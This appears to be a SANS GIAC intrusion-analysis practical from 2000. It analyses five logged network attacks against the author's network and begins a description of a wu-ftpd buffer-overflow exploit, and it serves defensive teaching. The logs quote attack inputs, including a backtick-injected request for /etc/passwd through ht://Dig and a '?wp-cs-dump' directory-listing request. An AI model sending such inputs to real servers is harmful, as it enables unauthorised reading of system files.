Global Information Assurance Certification Paper

SANS DC 2000 Practical Assignment
Herschel Gelman

NOTE: For correlation purposes between logs, it is important to note that the time on the Snort machine was between 5 and 8 minutes behind the actual time (it drifted uncorrected, so the error varies). The times on all other logs are correct. All times are Eastern.

IP address on my network have been sanitized. IP addresses of attackers are unchanged.

Detect 1: Retrieve /etc/passwd through CGI hole

Snort log:

```
[**] WEB-etc/passwd [**]
07/10-11:26:35.063544 195.96.98.222:12440 -> my.net.search.engine:80
TCP TTL:46 TOS:0x0 ID:34513  DF
*****PA* Seq: 0xC8F464C7   Ack: 0xC1F29A8F   Win: 0x2238
47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 68 74 73  GET /cgi-bin/hts
65 61 72 63 68 3F 65 78 63 6C 75 64 65 3D 60 2F  earch?exclude=`/
65 74 63 2F 70 61 73 73 77 64 60 20 48 54 54 50  etc/passwd` HTTP
2F 31 2E 30 0D 0A 56 69 61 3A 20 31 2E 31 20 77  /1.0..Via: 1.1 w
77 77 2E 63 61 63 68 65 2E 63 61 73 65 6D 61 2E  ww.cache.casema.
6E 65 74 20 28 4E 65 74 43 61 63 68 65 20 34 2E  net (NetCache 4.
31 52 31 44 35 29 0D 0A 43 6F 6E 6E 65 63 74 69  1R1D5)..Connecti
6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A  on: Keep-Alive..
0D 0A                                            ..
```

Apache log:

195.96.98.222 - - [10/Jul/2000:11:33:16 -0400] "GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60 HTTP/1.0" 200 1703 "-" "-"

1. Source of trace

   My network.

2. Detect was generated by:

   Snort intrusion detection system (outside the firewall), and Apache web server log file.

3. Probability the source address was spoofed:

   Not spoofed. This is an HTTP request, and its presence in the web server's logs indicates that it had already successfully completed the TCP 3-way handshake before the HTTP request was sent. Without the correlating web server log entry, it would have had a low probability of being spoofed: someone could have sent the HTTP GET request without setting up a TCP session for the sole purpose of incriminating the apparent source address.

   However, although the source IP address is not spoofed, it is not likely that it belongs to the actual attacker. The "NetCache" identifier in the HTTP request makes it likely that this request came through a caching proxy server (and the source IP address matches the cache server's domain--casema.net, as listed in the HTTP headers). In that case, the source address would be the address of the proxy server rather than the attacker's machine, which makes tracing this back to the real attacker's machine significantly more difficult.

4. Description of attack:

   CVE number: CVE-2000-0208

   This is an attempt to retrieve the search engine's /etc/passwd file through a hole in the ht://Dig search engine. According to the advisory (http://packetstorm.securify.com//0003-exploits/htdig.txt) this affects ht://Dig 3.1.4, 3.2.0b1 and earlier.

5. Attack mechanism:

   Vulnerable versions of ht://Dig allowed any local file to be specified as an additional configuration file in the GET request. In this case, the search engine would return an HTML page with a search form, and the 'exclude' field in the form would contain the contents of the requested file, in this case /etc/passwd.

   If the target system stored encrypted passwords in the passwd file rather than a shadow file, retrieving this file would allow the cracker to attempt to decrypt the passwords remotely. Even if the passwords were stored in a shadow file, the /etc/passwd file would still provide a list of active user accounts on the target, which is valuable reconnaisance information.

6. Correlations:

   This attack is well-known, having been reported in Bugtraq in February 2000. This is listed on SANS's "Top 10" list, under number 2: "Vulnerable CGI programs and application extensions installed on web servers."

7. Evidence of active targeting:

   This was a well-targeted attack. The target machine was running the ht://Dig search engine that this attack exploits, although not a vulnerable version of it.

8. Severity (criticality + lethality) - (system countermeasures + network countermeasures)

Criticality: 5 -- This machine performs several important mail and web-related functions, and would also give an attacker the ability to attack other machines behind our firewall.

Lethality: 5 -- Retrieving the /etc/passwd file could potentially lead to root access.

System countermeasures: 4 -- The version of ht://Dig on this server was updated to a fixed version before the advisory was released to Bugtraq, and long before this attempt.. However, passwords were not shadowed.

Network countermeasures: 1 -- The machine is behind a firewall, but in this case HTTP needs to be allowed to this machine. External ssh access is also allowed, so a recovered username and password could be used to gain entry.

Overall severity: 5. Despite the high calculated severity, the fact that the system was not running a vulnerable version of ht://Dig means the exploit attempt failed. To double-check this, I attempted to exploit the search engine by sending the identical request as the attacker, and received a "search again" page without any unusual entries in the form fields.

9. Defensive recommendation:

This attack was blocked by the fixed version of ht://Dig. Given the chance of additional CGI holes in the future, it would be recommended that passwords be moved to a shadow file, and 'crack' be run against the passwords to ensure that they are not easily crackable.

In addition, it would be recommended to move ssh and any other form of remote shell access to a separate machine which serves no other function. That way, obtaining usernames and accounts on the web server would be of no use to someone outside the firewall.

10. Multiple choice test question:

```
[**] WEB-etc/passwd [**]
07/10-11:26:35.063544 195.96.98.222:12440 -> my.net.1.50:80
TCP TTL:46 TOS:0x0 ID:34513  DF
*****PA* Seq: 0xC8F464C7   Ack: 0xC1F29A8F   Win: 0x2238
47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 68 74 73  GET /cgi-bin/hts
65 61 72 63 68 3F 65 78 63 6C 75 64 65 3D 60 2F  earch?exclude=`/
65 74 63 2F 70 61 73 73 77 64 60 20 48 54 54 50  etc/passwd` HTTP
2F 31 2E 30 0D 0A 56 69 61 3A 20 31 2E 31 20 77  /1.0..Via: 1.1 w
77 77 2E 63 61 63 68 65 2E 63 61 73 65 6D 61 2E  ww.cache.casema.
6E 65 74 20 28 4E 65 74 43 61 63 68 65 20 34 2E  net (NetCache 4.
31 52 31 44 35 29 0D 0A 43 6F 6E 6E 65 63 74 69  1R1D5)..Connecti
6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A  on: Keep-Alive..
0D 0A                                            ..
```

Which of the following is applicable to this alert:

a) The attacker is searching for a caching proxy
b) The source port is suspicious
c) The source address is most likely not spoofed
d) The attacker is attempting to buffer overflow a web server

Answer: c

Detect 2: portmapper connection attempt

Source: Mena Net, Heliopolis, Cairo

Snort log:

```
[**] IDS013 - RPC - portmap-request-mountd [**]
07/23-11:42:22.568279 63.160.116.63:998 -> my.net.web.server:111
UDP TTL:50 TOS:0x0 ID:0  DF
Len: 64
6F 3B 78 CA 00 00 00 00 00 00 00 02 00 01 86 A0  o;x.............
00 00 00 02 00 00 00 03 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 01 86 A5 00 00 00 01  ................
00 00 00 06 00 00 00 00                          ........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] IDS013 - RPC - portmap-request-mountd [**]
07/23-11:42:27.435500 63.160.116.63:998 -> my.net.web.server:111
UDP TTL:49 TOS:0x0 ID:0  DF
Len: 64
6F 3B 78 CA 00 00 00 00 00 00 00 02 00 01 86 A0  o;x.............
00 00 00 02 00 00 00 03 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 01 86 A5 00 00 00 01  ................
00 00 00 06 00 00 00 00                          ........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] IDS013 - RPC - portmap-request-mountd [**]
07/23-11:42:37.572488 63.160.116.63:998 -> my.net.web.server:111
UDP TTL:49 TOS:0x0 ID:0  DF
Len: 64
6F 3B 78 CA 00 00 00 00 00 00 00 02 00 01 86 A0  o;x.............
00 00 00 02 00 00 00 03 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 01 86 A5 00 00 00 01  ................
00 00 00 06 00 00 00 00                          ........

[...]
```

1. Source of trace

My network.

2. Detect was generated by:

Snort intrusion detection system

3. Probability the source address was spoofed:

Not likely, as the purpose of this attack is to find out what port the NFS mountd program is running on. If the source IP address was spoofed, the attacker would not be able to see the response to the probe. It is a remote possibility, however, as it could theoretically be a spoofed address in an attempt to implicate an innocent third party.

4. Description of attack:

CVE number: CVE-1999-0002

Many older versions of the NFS mountd program were vulnerable to remote compromises that yielded root access. This is an attempt to connect to the RPC portmapper on our web server, to discover from the portmapper which port the mountd program is running on.

The TTL (time-to-live) value of 50 in the first packet changed to 49 for the second packet, indicating that this may possibly be a traceroute as well as a port scan. However, the TTL remained at 49 for all subsequent packets, so the TTL change was most likely the result of a routing change along the path.

5. Attack mechanism:

The attack works by first connecting to the portmapper port on the target machine (port 111). The attacker sends a query requesting information on what port the mountd program is running on. The target machine would then respond with a port number, which the attacker could then focus his/her attention on. The most likely response will be the popular mountd buffer overflow. If a vulnerable mountd is running, this will yield root access on the target machine. By itself, this probe is only reconnaisance.

6. Correlations:

This attack is well-known. The mountd vulnerability is listed as number 6, "sadmind and mountd," on the SANS Top 10 Vulnerabilities list.

Scans for machines running portmapper are seen constantly; on our relatively small network which does not use portmapper, I've observed over 1,500 portmapper connection attempts in roughly a month and a half.

7. Evidence of active targeting:

This could potentially have been a wrong number, since they attempted to connect to the portmapper on our web server 16 times over 2 minutes. That's a large number of retries, considering that the web server was not running portmapper. There also weren't any connection attempts to any other machines on our network, which makes it more likely that it was a wrong number. In addition, the web server is an NT server, which means that if it was an attempt to attack the web server, the attacker hadn't done very much reconnaisance beforehand.

However, the target machine was our primary web server, which is a relatively high profile machine. This makes it difficult to determine if it was a wrong number or an intentional attack; it could be easily argued for either.

8. Severity (criticality + lethality) - (system countermeasures + network countermeasures)

Criticality: 5 -- This machine runs our 2 highest-profile web servers, and is an NT domain controller.

Lethality: 1 -- If this machine ran portmapper and a vulnerable mountd, this would have a high potential lethality, since it can provide remote root access. However, since it is an NT server that does not run portmapper or mountd, there is no potential exploitability here. Also, the portmapper probe alone will only provide reconnaisance information; it's not an actual attack.

System countermeasures: 4 -- This is a relatively well-patched NT server.

Network countermeasures: 1 -- This machine is presently not behind a firewall.

Overall severity: 1. However, given that the web server's operating system is the wrong type to be affected by this, the probe was a failure.

9. Defensive recommendation:

Defenses are adequate for this probe, although this machine should be moved behind a firewall to provide extra protection.

10. Multiple choice test question:

```
[**] IDS013 - RPC - portmap-request-mountd [**]
07/23-11:42:37.572488 63.160.116.63:998 -> my.net.web.server:111
UDP TTL:49 TOS:0x0 ID:0  DF
Len: 64
```

What is the objective of the above:

a) The attacker is looking for the common Windows trojan on port 111
b) The attacker is searching for information on NFS services
c) The attacker is attempting to buffer overflow mountd
d) This is not an attack; this is part of normal web server traffic

Answer: b

Detect 3: DNS server scan

Snort log:

```
[**] SCAN-SYN FIN [**]
08/10-20:20:06.526057 172.31.1.1:53 -> my.net.199.0:53
```

```
TCP TTL:21 TOS:0x0 ID:39426
**SF**** Seq: 0x1954D00E   Ack: 0x6564594D   Win: 0x404

[**] SCAN-SYN FIN [**]
08/10-20:20:06.538377 172.31.1.1:53 -> my.net.199.1:53
TCP TTL:21 TOS:0x0 ID:39426
**SF**** Seq: 0x1954D00E   Ack: 0x6564594D   Win: 0x404

[**] SCAN-SYN FIN [**]
08/10-20:20:06.558389 172.31.1.1:53 -> my.net.199.2:53
TCP TTL:21 TOS:0x0 ID:39426
**SF**** Seq: 0x1954D00E   Ack: 0x6564594D   Win: 0x404

[and so on...]
```

Cisco log:

Aug 10 20:25:38 router 97630: Aug 10 20:25:38.436: %IDS-4-TCP_SYN_FIN_SIG: Sig:3041:TCP - SYN and FIN bits set - from 172.31.1.1 to my.net.199.0
Aug 10 20:25:39 router 97631: Aug 10 20:25:38.440: %SEC-6-IPACCESSLOGP: list 102 denied tcp 172.31.1.1(53) -> my.net.199.0(53), 1 packet
Aug 10 20:25:40 router 97632: Aug 10 20:25:39.450: %SEC-6-IPACCESSLOGP: list 102 denied tcp 172.31.1.1(53) -> my.net.199.51(53), 1 packet
Aug 10 20:25:40 router 97633: Aug 10 20:25:40.451: %SEC-6-IPACCESSLOGP: list 102 denied tcp 172.31.1.1(53) -> my.net.199.101(53), 1 packet

(NOTE: The Cisco router does not seem to log every blocked packet during high-speed scans such as this.)

1. Source of trace

   My network.

2. Detect was generated by:

   Snort intrusion detection system (outside the firewall), and the Cisco firewall rules and Cisco IDS feature set.

3. Probability the source address was spoofed:

   High, since 172.31.1.1 is an IANA reserved IP address (in the 172.16.0.0 - 172.31.0.0 reserved block, as set by RFC 1918.) There are no local machines on our network that should be configured to use that reserved block.

   However, the fact that this source IP address was used to perform a port scan seems to indicate that the sender expected a reply, which would be impossible with that source IP address. This makes it possible that there is a compromised machine somewhere between our Internet connection and our firewall, which is not far-fetched since there are a large number of Windows machines run by another department in that position. In that case, the response packets could be seen by the scanner, even though they wouldn't get routed any further to the Internet.

   Another alternative is that these scans did arrive from the Internet, from someone who didn't understand when he/she could and couldn't use spoofed source addresses. For example, incorrect usage of nmap's decoy setting may cause this. Since we did not receive similar scans from other IP addresses at the same time, this cannot be attributed to correct usage of nmap's decoy option. Besides, the decoys that nmap uses should be valid IP addresses in order to trick the target; using non-routable IPs wouldn't make any sense in that situation.

4. Description of attack:

   This is potentially related to the following CVE entries: CVE-1999-0009, CVE-1999-0833, CVE-1999-0835, CVE-1999-0848, CVE-1999-0849, CVE-1999-0851

   In addition, this is potentially related to the first entry on SANS's Top Ten Vulnerabilities list, "BIND weaknesses."

   This is a search of our network for DNS servers.

5. Attack mechanism:

   This scan is designed to find DNS servers on our network. There are several vulnerabilities for unpatched DNS servers which the attacker may be planning to test once he/she has found the servers through this scan. Many will give root access on older versions of BIND. There are also DNS amplification attacks that can use our DNS servers to participate in a denial-of-service attack against a third party. Exactly what the scanner is planning to do with the list of IP addresses cannot be determined from the scan.

   The scanner in use has an easily-identifiable fingerprint. The IP identification number is 39426 for all packets, and the sequence and acknowledgement numbers stay the same for 50 packets at a time. This is the exact same signature as the scanner used in detect 5, below; additional analysis of the signature is available there.

6. Correlations:

   This scan is very well known. BIND compromises are one of the most common ways intruders get access to systems these days. This is also by far the most common scan seen on our network, with 4,456 scan connections observed over a month and a half. That only counts scans that triggered Snort's portscan detector; scans that did not use unusual flags and that only went to one or two machines would not have been picked up. For the record, the scans were almost evenly split between UDP scans and TCP scans, with TCP scans having a very slight lead.

7. Evidence of active targeting:

   There is no active targeting here, but it certainly isn't a "wrong number." The scanned network does contain our primary DNS server, but an attacker could determine that without sending any packets to our network. This was most likely an attempt to find smaller DNS servers, for example on incorrectly-configured machines that should not have been running BIND in the first place.

8. Severity (criticality + lethality) - (system countermeasures + network countermeasures)

   Criticality: 2 -- This is a scan of our whole network. Overall, most of the machines aren't very critical.

   Lethality: 1 -- The scan itself is harmless.

   System countermeasures: 5 -- All of our DNS servers are well-patched.

Network countermeasures: 5 -- All connections were blocked by the firewall (as shown in the Cisco logs above), both because port 53 was not explicitly allowed to most internal machines, and because the source address was a non-routable IP address from which we block all traffic. Therefore, even our primary DNS server (for which port 53 is allowed through the firewall) would not have responded because of the forged source IP address of the scan.

Overall severity: -7.

9. Defensive recommendation:

Defenses are adequate for this probe.

However, the scan from a non-routable address is suspicious. It is most likely "user error," but given the possibility of it being a compromised machine on our DMZ, I have started logging all traffic to and from that IP address. To date, no additional matching traffic has been spotted.

10. Multiple choice test question:

```
[**] SCAN-SYN FIN [**]
08/10-20:20:06.526057 172.31.1.1:53 -> my.net.199.0:53
TCP TTL:21 TOS:0x0 ID:39426
**SF**** Seq: 0x1954D00E   Ack: 0x6564594D   Win: 0x404
```

What is suspicious about the above attack:

I: The source IP address
II: The TCP options
III: The Window size
IV: The TCP flags
V: The IP ID

a) I, and IV
b) I, II, and IV
c) I, III, IV, and V
d) IV, and V

Answer: a

Detect 4: Netscape Enterprise Server directory listing hole

Snort log (note: web server name X'd out in packet contents):

```
[**] IDS270 - WEB MISC - Netscape dir index wp [**]
08/01-06:55:30.660047 192.90.127.1:4820 -> my.net.web.server:80
TCP TTL:47 TOS:0x0 ID:4267
*****PA* Seq: 0xE90B56F7   Ack: 0xFB89157D   Win: 0x4000
47 45 54 20 2F 3F 77 70 2D 63 73 2D 64 75 6D 70  GET /?wp-cs-dump
20 48 54 54 50 2F 31 2E 30 0D 0A 48 6F 73 74 3A   HTTP/1.0..Host:
20 77 77 77 2E XX XX XX XX XX XX XX XX XX XX XX   www.xxxxxxxxxx
XX XX XX XX XX XX XX XX XX 0D 0A 41 63 63 65 70  xxxxxxxxx..Accep
74 3A 20 74 65 78 74 2F 68 74 6D 6C 2C 20 74 65  t: text/html, te
78 74 2F 70 6C 61 69 6E 2C 20 61 70 70 6C 69 63  xt/plain, applic
61 74 69 6F 6E 2F 78 2D 74 72 6F 66 66 2D 6D 61  ation/x-troff-ma
6E 2C 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78  n, application/x
2D 64 65 62 69 61 6E 2D 70 61 63 6B 61 67 65 2C  -debian-package,
20 61 75 64 69 6F 2F 62 61 73 69 63 2C 20 61 70   audio/basic, ap
70 6C 69 63 61 74 69 6F 6E 2F 78 2D 74 61 72 2C  plication/x-tar,
20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 67   application/x-g
74 61 72 2C 20 74 65 78 74 2F 2A 2C 20 74 65 78  tar, text/*, tex
74 2F 2A 2C 20 74 65 78 74 2F 73 67 6D 6C 2C 20  t/*, text/sgml,
2A 2F 2A 3B 71 3D 30 2E 30 31 0D 0A 41 63 63 65  */*;q=0.01..Acce
70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69  pt-Encoding: gzi
70 2C 20 63 6F 6D 70 72 65 73 73 0D 0A 41 63 63  p, compress..Acc
65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E  ept-Language: en
0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4C 79  ..User-Agent: Ly
6E 78 2F 32 2E 38 2E 33 72 65 6C 2E 31 20 6C 69  nx/2.8.3rel.1 li
62 77 77 77 2D 46 4D 2F 32 2E 31 34 0D 0A 46 6F  bwww-FM/2.14..Fo
72 77 61 72 64 65 64 3A 20 62 79 20 68 74 74 70  rwarded: by http
3A 2F 2F 73 6F 70 72 6F 78 62 61 63 6B 3A 38 30  ://soproxback:80
20 28 4E 65 74 73 63 61 70 65 2D 50 72 6F 78 79   (Netscape-Proxy
2F 32 2E 35 29 0D 0A 0D 0A                       /2.5)....
```

1. Source of trace

My network.

2. Detect was generated by:

Snort intrusion detection system (outside the firewall)

3. Probability the source address was spoofed:

Very low. The TCP 3-way handshake would have to have been completed before this HTTP request was sent, and this fruits of this attack are in the web server's response; a forged IP address would mean the attacker would never see the response.

There is a tiny chance of spoofing though: the web server's logs were unavailable, and therefore there is no proof that the 3-way handshake was successfully completed. There is a chance--albeit a tiny one--that this was a lone forged packet sent to throw suspicion on an innocent third party

Although the packet is most likely not spoofed, the source IP probably does not belong to the attacker. The tip-off is the last line of the HTTP request, which is

Forwarded: by http://soproxback:80 (Netscape-Proxy/2.5)

Reverse lookup of the source IP address gives soprox-back.bull.net, which matches the information in the header. A web request to that address returns a browser proxy configuration file from a Netscape Proxy server. Therefore, this machine is acting as a web proxy which an attacker could send their request through to hide their true IP address. That is almost certainly what is going on in this case.

4. Description of attack:

CVE number: CVE-2000-0236

This attack is designed to get a directory listing of otherwise-hidden directories on the web server.

5. Attack mechanism:

This attack works on vulnerable versions of the Netscape Enterprise Web Server. If Directory Indexing is enabled, and a user appends the string "?wp-cs-dump" to a URL, a vulnerable version of the server will respond with a directory listing for that directory, even if that listing should not be available.

This will allow the attacker to browse the full contents of the web server directories on the server, including directories and files that the site's designers had assumed would never be visable. This can expose content that is not ready for public viewing, or should never have been made public.

6. Correlations:

This is a known vulnerability; the Bugtraq post describing it is available at http://archives.neohapsis.com/archives/bugtraq/2000-03/0191.html.

7. Evidence of active targeting:

This is a well-targeted attack, as the web server they sent the request to was indeed running the Netscape Enterprise Web Server. It was not vulnerable to the attack, however.

8. Severity (criticality + lethality) - (system countermeasures + network countermeasures)

Criticality: 5 -- The target machine provides web access to our user's e-mail, and acts as an SMTP and IMAP server as well.

Lethality: 2 -- A directory listing of the web directories on this server would only contain the default files from the web access software.

System countermeasures: 5 -- This machine has the latest vendor patches

Network countermeasures: 3 -- The server is behind a firewall, but web access and other mail services need to be allowed in. Other external connections would be blocked, however, so if an attacker was somehow able to retrieve administrative login information, they would not be able to do anything with it.

Overall severity: -1.

9. Defensive recommendation:

Defenses are adequate for this probe, and the request failed. I verified this by connecting to the HTTP port on the web server and requesting the same URL. The server replied with an error, with no additional information in it.

10. Multiple choice test question:

```
[**] IDS270 - WEB MISC - Netscape dir index wp [**]
08/01-06:55:30.660047 192.90.127.1:4820 -> my.net.web.server:80
TCP TTL:47 TOS:0x0 ID:4267
*****PA* Seq: 0xE90B56F7   Ack: 0xFB89157D   Win: 0x4000
```

If the web server responds to the above request, what acknowledgement value would be used?

a) 0xFB89157E
b) 0xE90B56F8
c) 0x4001
d) Cannot be determined from the information given

Answer: d

Detect 5: Scan for POP2 servers

Source: PrimusDSL, Sterling, VA

Snort portscan log:

```
Jul 20 05:27:05 216.181.6.218:109 -> my.net.1.4:109 SYNFIN **S*F***
Jul 20 05:27:06 216.181.6.218:109 -> my.net.1.11:109 SYNFIN **S*F***
Jul 20 05:27:06 216.181.6.218:109 -> my.net.1.24:109 SYNFIN **S*F***
Jul 20 05:27:06 216.181.6.218:109 -> my.net.1.40:109 SYNFIN **S*F***
Jul 20 05:27:06 216.181.6.218:109 -> my.net.1.41:109 SYNFIN **S*F***
Jul 20 05:27:07 216.181.6.218:109 -> my.net.1.100:109 SYNFIN **S*F***
Jul 20 05:27:09 216.181.6.218:109 -> my.net.1.198:109 SYNFIN **S*F***
Jul 20 05:27:11 216.181.6.218:109 -> my.net.2.1:109 SYNFIN **S*F***
Jul 20 05:27:11 216.181.6.218:109 -> my.net.2.6:109 SYNFIN **S*F***
Jul 20 05:27:11 216.181.6.218:109 -> my.net.2.2:109 SYNFIN **S*F***
Jul 20 05:27:11 216.181.6.218:109 -> my.net.2.3:109 SYNFIN **S*F***
Jul 20 05:27:11 216.181.6.218:109 -> my.net.2.5:109 SYNFIN **S*F***
Jul 20 05:27:11 216.181.6.218:109 -> my.net.2.4:109 SYNFIN **S*F***
[and so on...]
```

Snort packet details:

```
[**] SCAN-SYN FIN [**]
07/20-05:27:05.906417 216.181.6.218:109 -> my.net.1.4:109
```

```
TCP TTL:31 TOS:0x0 ID:39426
**S*F*** Seq: 0x2A3F32CA   Ack: 0x70D58136   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SCAN-SYN FIN [**]
07/20-05:27:06.047485 216.181.6.218:109 -> my.net.1.11:109
TCP TTL:31 TOS:0x0 ID:39426
**S*F*** Seq: 0x581A9BB3   Ack: 0x25C9F5B1   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SCAN-SYN FIN [**]
07/20-05:27:06.306681 216.181.6.218:109 -> my.net.1.24:109
TCP TTL:31 TOS:0x0 ID:39426
**S*F*** Seq: 0x581A9BB3   Ack: 0x25C9F5B1   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SCAN-SYN FIN [**]
07/20-05:27:06.625991 216.181.6.218:109 -> my.net.1.40:109
TCP TTL:31 TOS:0x0 ID:39426
**S*F*** Seq: 0x581A9BB3   Ack: 0x25C9F5B1   Win: 0x404

[and so on...]
```

1. Source of trace

   My network.

2. Detect was generated by:

   Snort intrusion detection system (outside the firewall)

3. Probability the source address was spoofed:

   Very low. This is a host scan for POP2 servers, and packets indicating whether or not POP2 was running on each host would get sent back to the source IP address. A spoofed source would make the scan useless, although it is theoretically possible that this is a spoofed source scan intended to incriminate an innocent third party.

4. Description of attack:

   Possibly related to CVE number CVE-1999-0042

   This is a host scan, searching for any running POP2 servers on our network.

5. Attack mechanism:

   This scan is checking active machines on the network for port 109, which is POP2. The scanner checked our 2 consecutive class C blocks back-to-back, indicating that perhaps this is part of a larger scan (see correlations below for more information on this.)

   The scanner in use is setting both the SYN and FIN flags, which is an invalid combination. At some point, such a combination most likely was able to evade some type of firewall or IDS (which may have checked for a packet with only SYN set) but currently such flags only make the packets stand out even more. Having both the SYN and FIN bits set may also aid in determining the remote operating system type. Sending "illegal" packets such as these yields different results from different operating systems, which can be very useful reconnaisance information. However, the fact that SYN-FIN packets stand out, combined with the fact that very few people run POP2 servers any more, make this a very unusual scan. Despite this, based on GIAC's detects analyzed pages and my own logs, POP2 SYN-FIN scans are still extremely popular.

   This scanner has an easy-to-spot signature. Not only are both the SYN and FIN flags set, but the IP identification field is always set to 39426. In addition, analysis of the sequence and acknowledgement numbers shows that they repeat in groups of 50. After using the same sequence and acknowledgement numbers 50 times, the scanner switches to another pair. Our data shows some numbers used only a handful of times, but those were on the scan of the sparsely-populated "my.net.1.*" network. The scanner only checked active machines, and it appears that the addresses which were not active still counted towards the "50 Machines Before Changing SEQ/ACK Numbers" rule it has.

   Sequence and acknowledgement number data:

```
[216.181.6.218]% grep Seq: TCP\:109-109 | sort | uniq -c
     50 **S*F*** Seq: 0x19B7F4FB   Ack: 0x185BC365   Win: 0x404
      1 **S*F*** Seq: 0x21EC7636   Ack: 0x44695B9D   Win: 0x404
      2 **S*F*** Seq: 0x233D4AE9   Ack: 0x76F76C7F   Win: 0x404
      1 **S*F*** Seq: 0x2A3F32CA   Ack: 0x70D58136   Win: 0x404
     50 **S*F*** Seq: 0x2B857DD3   Ack: 0x633B380F   Win: 0x404
      1 **S*F*** Seq: 0x463ED3F8   Ack: 0x5A9A4D88   Win: 0x404
      3 **S*F*** Seq: 0x502F8B76   Ack: 0x79CAAE05   Win: 0x404
      4 **S*F*** Seq: 0x581A9BB3   Ack: 0x25C9F5B1   Win: 0x404
     50 **S*F*** Seq: 0x6E23917   Ack: 0xC9D4CF9   Win: 0x404
     50 **S*F*** Seq: 0x74C317D8   Ack: 0x418BD2CD   Win: 0x404
     50 **S*F*** Seq: 0x7D095EE4   Ack: 0x2DB22E56   Win: 0x404
```

   Note that this is the exact same signature in use in detect number 3. Either it is the same scanner in use in both cases, or there are several scanners using the same packet-generation code.

6. Correlations:

   This is an extremely common scan signature. GIAC's analyzed detect pages have been seeing this signature very often since 2/14/00, as a search for the IP identification, 39426, indicates. A quick grep of my snort logs turns up 5,675 logged packets from many different source addresses using this IP identification field in a month and a half. For comparison, no packets were logged that had an IP ID of 39425, and only 1 packet was logged with an IP ID of 39424.

   For additional correlation, "Laurie @ .edu" saw part of this exact same scan in the 7/22/00 GIAC Detects Analyzed report:

   =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Multimegabit Access Technologies, Sterling VA, USA (whois lookup via name)
PrimusDSL, Sterling VA, USA (whois lookup via ip)

Jul 20 17:29:04 hostp portsentry[542]: attackalert: Connect from host: viraxay2.digitalselect.net/216.181.6.218 to TCP port: 109
Jul 20 17:29:04 hostp portsentry[542]: attackalert: Connect from host: viraxay2.digitalselect.net/216.181.6.218 to TCP port: 109
Jul 20 17:30:22 hostca portsentry[268]: attackalert: Connect from host: viraxay2.digitalselect.net/216.181.6.218 to TCP port: 109
Jul 20 17:30:22 hostca portsentry[268]: attackalert: Connect from host: viraxay2.digitalselect.net/216.181.6.218 to TCP port: 109
Jul 20 17:30:22 hostca portsentry[268]: attackalert: Connect from host: viraxay2.digitalselect.net/216.181.6.218 to TCP port: 109

=-=-=-=-=-=-=-=-=-=-=

Laurie's detect occured on the same day as mine, with the same source IP address and same destination port. The time is almost exactly 12 hours apart, but not knowing what time zone her logs are from, it's unknown exactly how far apart the scans were.

7. Evidence of active targeting:

There is no targeting here, just a widespread scan for POP2 servers.

8. Severity (criticality + lethality) - (system countermeasures + network countermeasures)

Criticality: 2 -- This is a scan of our whole network. Overall, most of the machines aren't very critical.

Lethality: 1 -- The scan itself is harmless. Vulnerable POP2 servers could give root access, though.

System countermeasures: 5 -- No machines on our network are running POP2.

Network countermeasures: 5 -- Since we don't provide POP2 service, our firewall blocked every single one of these connection attempts before they reached the targets.

Overall severity: -7.

9. Defensive recommendation:

Defenses are adequate for this probe. If POP2 servers were running, one should ensure that they are fully patched.

10. Multiple choice test question:

```
[**] SCAN-SYN FIN [**]
07/20-05:27:06.306681 216.181.6.218:109 -> my.net.1.24:109
TCP TTL:31 TOS:0x0 ID:39426
**S*F*** Seq: 0x581A9BB3   Ack: 0x25C9F5B1   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SCAN-SYN FIN [**]
07/20-05:27:06.625991 216.181.6.218:109 -> my.net.1.40:109
TCP TTL:31 TOS:0x0 ID:39426
**S*F*** Seq: 0x581A9BB3   Ack: 0x25C9F5B1   Win: 0x404
```

What is unusual about the above packets?

a) Repeated sequence numbers
b) Repeated IP ID fields
c) TCP flags
d) Both a) and c)
e) a), b), and c)

Answer: e

Assignment 2: Analysis of wu-ftpd remote exploit

In this section I analyzed a wu-ftp 2.4.2academ remote root exploit. The version of the exploit that I used is available at http://packetstorm.securify.com/9905-exploits/w00f.c.

To do so, I set up a new server for the sole purpose of attacking it. I wanted to attack a server that was freshly installed with mostly default settings, although with a dated set of services. The target was an install of Linux Mandrake 5.3 (dated 2/1/1999), using wu-ftp-2.4.2-academ[BETA18](1) that shipped with that distribution. The target system was installed with all the default settings, except that a world-writeable "incoming" directory was created on the FTP server.

Description of buffer overflows

wu-ftp uses the C *strcpy()* function to copy a string from one variable to another. However, it does not perform any bounds-checking, which makes it vulnerable to a buffer overflow.

For example, if the source string is 100 bytes, but only 50 bytes has been allocated to the destination string, the function will still copy the entire 100 bytes into memory. It will fill up the 50 bytes reserved for the destination string, and will then overwrite the 50 bytes in memory after that.

What data gets overwritten depends on the program, operating system, and processor architecture, but it's very likely that a function return address (on the "stack") will be one of the items overwritten. The function return address tells the processor where in memory to find the next program instructions once it has finished with the current function. If that address is overwritten, then we have altered the flow of the program by sending it to execute code in another location.

